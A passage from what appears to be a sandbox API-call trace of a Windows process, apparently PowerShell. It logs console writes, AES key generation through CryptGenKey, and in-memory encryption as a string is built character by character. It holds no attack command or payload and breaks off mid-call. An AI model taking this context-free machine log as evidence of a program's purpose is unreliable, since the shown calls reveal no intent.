lpMode=0x5a2e4b0) returned 1 [0214.821] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0214.822] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c8 | out: lpConsoleScreenBufferInfo=0x5a2e4c8) returned 1 [0214.822] GetConsoleOutputCP () returned 0x1b5 [0214.822] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0214.824] GetConsoleOutputCP () returned 0x1b5 [0214.824] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0214.825] GetConsoleOutputCP () returned 0x1b5 [0214.825] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0214.825] GetConsoleOutputCP () returned 0x1b5 [0214.825] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0214.825] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e318 | out: lpConsoleScreenBufferInfo=0x5a2e318) returned 1 [0214.826] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0214.826] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24dd7ec*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x24dd7ec*, lpNumberOfCharsWritten=0x5a2e304*=0x46) returned 1 [0214.826] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0214.827] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e304*=0x2) returned 1 [0214.828] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e318 | out: lpConsoleScreenBufferInfo=0x5a2e318) returned 1 [0214.828] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0214.828] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24dd8a0*, nNumberOfCharsToWrite=0x12, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x24dd8a0*, lpNumberOfCharsWritten=0x5a2e304*=0x12) returned 1 [0214.829] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0214.842] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e304*=0x2) returned 1 [0214.843] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e420 | out: lpConsoleScreenBufferInfo=0x5a2e420) returned 1 [0214.844] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e418 | out: lpMode=0x5a2e418) returned 1 [0214.844] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e40c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e40c*=0x2) returned 1 [0214.845] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0214.845] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: lpMode=0x5a2e4b0) returned 1 [0214.846] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0214.846] GetConsoleOutputCP () returned 0x1b5 [0214.847] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0214.847] GetConsoleOutputCP () returned 0x1b5 [0214.847] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0214.847] GetConsoleOutputCP () returned 0x1b5 [0214.847] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.847] GetConsoleOutputCP () returned 0x1b5 [0214.847] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.847] GetConsoleOutputCP () returned 0x1b5 [0214.848] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0214.848] GetConsoleOutputCP () returned 0x1b5 [0214.848] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0214.848] GetConsoleOutputCP () returned 0x1b5 [0214.848] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.848] GetConsoleOutputCP () returned 0x1b5 [0214.848] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.849] GetConsoleOutputCP () returned 0x1b5 [0214.849] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0214.849] GetConsoleOutputCP () returned 0x1b5 [0214.849] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0214.849] GetConsoleOutputCP () returned 0x1b5 [0214.849] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.849] GetConsoleOutputCP () returned 0x1b5 [0214.888] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.888] GetConsoleOutputCP () returned 0x1b5 [0214.889] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0214.889] GetConsoleOutputCP () returned 0x1b5 [0214.889] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0214.889] GetConsoleOutputCP () returned 0x1b5 [0214.889] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.890] GetConsoleOutputCP () returned 0x1b5 [0214.890] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0214.893] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0214.894] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0214.894] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24de1d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x24de1d8*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0214.894] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0214.895] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0214.896] GetConsoleOutputCP () returned 0x1b5 [0214.896] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0214.896] GetConsoleOutputCP () returned 0x1b5 [0214.896] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0214.896] GetConsoleOutputCP () returned 0x1b5 [0214.897] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0214.897] GetConsoleOutputCP () returned 0x1b5 [0214.897] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0214.897] GetConsoleOutputCP () returned 0x1b5 [0214.897] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.897] GetConsoleOutputCP () returned 0x1b5 [0214.897] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.897] GetConsoleOutputCP () returned 0x1b5 [0214.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.898] GetConsoleOutputCP () returned 0x1b5 [0214.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.898] GetConsoleOutputCP () returned 0x1b5 [0214.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.898] GetConsoleOutputCP () returned 0x1b5 [0214.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.898] GetConsoleOutputCP () returned 0x1b5 [0214.899] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.899] GetConsoleOutputCP () returned 0x1b5 [0214.899] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0214.899] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0214.899] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0214.900] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24de680*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x24de680*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0214.900] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0214.901] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0214.902] GetConsoleOutputCP () returned 0x1b5 [0214.902] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.902] GetConsoleOutputCP () returned 0x1b5 [0214.902] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.902] GetConsoleOutputCP () returned 0x1b5 [0214.902] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.902] GetConsoleOutputCP () returned 0x1b5 [0214.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.903] GetConsoleOutputCP () returned 0x1b5 [0214.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.903] GetConsoleOutputCP () returned 0x1b5 [0214.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.903] GetConsoleOutputCP () returned 0x1b5 [0214.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.903] GetConsoleOutputCP () returned 0x1b5 [0214.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.904] GetConsoleOutputCP () returned 0x1b5 [0214.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.904] GetConsoleOutputCP () returned 0x1b5 [0214.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.904] GetConsoleOutputCP () returned 0x1b5 [0214.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.905] GetConsoleOutputCP () returned 0x1b5 [0214.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.905] GetConsoleOutputCP () returned 0x1b5 [0214.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0214.905] GetConsoleOutputCP () returned 0x1b5 [0214.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0214.905] GetConsoleOutputCP () returned 0x1b5 [0214.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.906] GetConsoleOutputCP () returned 0x1b5 [0214.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0214.906] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0214.906] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0214.907] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24df064*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x24df064*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0214.907] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0214.908] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0214.908] EtwEventActivityIdControl () returned 0x0 [0214.909] EtwEventActivityIdControl () returned 0x0 [0214.909] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.910] EtwEventActivityIdControl () returned 0x0 [0214.910] EtwEventActivityIdControl () returned 0x0 [0214.910] EtwEventActivityIdControl () returned 0x0 [0214.913] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.914] EtwEventActivityIdControl () returned 0x0 [0214.914] EtwEventActivityIdControl () returned 0x0 [0214.914] EtwEventActivityIdControl () returned 0x0 [0214.917] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cff0) returned 1 [0214.920] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69240) returned 1 [0214.920] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.920] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0214.920] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24e6b90, pdwDataLen=0x5a2e82c | out: pbData=0x24e6b90*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0214.921] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.922] EtwEventActivityIdControl () returned 0x0 [0214.922] EtwEventActivityIdControl () returned 0x0 [0214.922] EtwEventActivityIdControl () returned 0x0 [0214.923] SysStringLen (param_1="") returned 0x8 [0214.923] SysStringLen (param_1="X") returned 0x8 [0214.923] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.923] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0214.923] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0214.924] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.924] SysStringLen (param_1="Xs") returned 0x8 [0214.924] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.924] SysStringLen (param_1="샪귓闥꾭ᆾ繮斂") returned 0x8 [0214.924] SysStringLen (param_1="샪귓闥꾭ᆾ繮斂") returned 0x8 [0214.924] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.924] SysStringLen (param_1="XsL") returned 0x8 [0214.924] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.924] SysStringLen (param_1="怒഼Ԓ쓈漎ऺ䉳譬") returned 0x8 [0214.924] SysStringLen (param_1="怒഼Ԓ쓈漎ऺ䉳譬") returned 0x8 [0214.924] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.924] SysStringLen (param_1="XsLw") returned 0x8 [0214.924] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.925] SysStringLen (param_1="उゲ㩰㘼∄") returned 0x8 [0214.925] SysStringLen (param_1="उゲ㩰㘼∄") returned 0x8 [0214.925] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.925] SysStringLen (param_1="XsLwq") returned 0x8 [0214.925] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.925] SysStringLen (param_1="갰㤭࢟熆䜤檰") returned 0x8 [0214.925] SysStringLen (param_1="갰㤭࢟熆䜤檰") returned 0x8 [0214.925] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.925] SysStringLen (param_1="XsLwql") returned 0x8 [0214.925] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.926] SysStringLen (param_1="₃퐣롥왥舀ꀩ竀䔀") returned 0x8 [0214.926] SysStringLen (param_1="₃퐣롥왥舀ꀩ竀䔀") returned 0x8 [0214.926] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.926] SysStringLen (param_1="XsLwql6") returned 0x8 [0214.926] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.926] SysStringLen (param_1="움Ȏ᫑敊৔㸃굁") returned 0x8 [0214.926] SysStringLen (param_1="움Ȏ᫑敊৔㸃굁") returned 0x8 [0214.926] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.926] SysStringLen (param_1="XsLwql6S") returned 0x8 [0214.926] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0214.926] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼") returned 0x8 [0214.927] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼") returned 0x8 [0214.927] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼") returned 0x8 [0214.930] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼") returned 0x10 [0214.930] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.930] SysStringLen (param_1="XsLwql6S2ꑂ镸ᗋ便㺏㷈") returned 0x10 [0214.930] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.930] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼鴵ᥒﯶ㩅ể੏뫭") returned 0x10 [0214.930] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼鴵ᥒﯶ㩅ể੏뫭") returned 0x10 [0214.930] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.930] SysStringLen (param_1="XsLwql6S2eꑂ镸ᗋ便㺏㷈") returned 0x10 [0214.930] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.930] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼쿁ﺆ优ꧫ굯躸踂") returned 0x10 [0214.931] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼쿁ﺆ优ꧫ굯躸踂") returned 0x10 [0214.931] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.931] SysStringLen (param_1="XsLwql6S2em镸ᗋ便㺏㷈") returned 0x10 [0214.931] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.931] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼ꕎ裫罃䎆詝⟽뻆⾱") returned 0x10 [0214.931] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼ꕎ裫罃䎆詝⟽뻆⾱") returned 0x10 [0214.931] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.931] SysStringLen (param_1="XsLwql6S2emEᗋ便㺏㷈") returned 0x10 [0214.931] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.931] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼⳺榇蟌⩸먅遯蓵ﵻ") returned 0x10 [0214.931] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼⳺榇蟌⩸먅遯蓵ﵻ") returned 0x10 [0214.931] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.932] SysStringLen (param_1="XsLwql6S2emEV便㺏㷈") returned 0x10 [0214.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.932] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼鬘\ꛘꔇᓟ⹄Ȗ≧) returned 0x10 [0214.932] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼鬘\ꛘꔇᓟ⹄Ȗ≧) returned 0x10 [0214.932] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.932] SysStringLen (param_1="XsLwql6S2emEVx㺏㷈") returned 0x10 [0214.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.932] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼ⷀ魑譌,࢓㏜똁ﬢ") returned 0x10 [0214.932] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼ⷀ魑譌,࢓㏜똁ﬢ") returned 0x10 [0214.932] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.932] SysStringLen (param_1="XsLwql6S2emEVx6㷈") returned 0x10 [0214.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.933] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼喵띕쬻읫᭾鎁ブꀐ") returned 0x10 [0214.933] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼喵띕쬻읫᭾鎁ブꀐ") returned 0x10 [0214.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.933] SysStringLen (param_1="XsLwql6S2emEVx6i") returned 0x10 [0214.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0214.933] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⋿) returned 0x10 [0214.933] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⋿) returned 0x10 [0214.933] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⋿) returned 0x10 [0214.934] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⋿) returned 0x18 [0214.934] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: 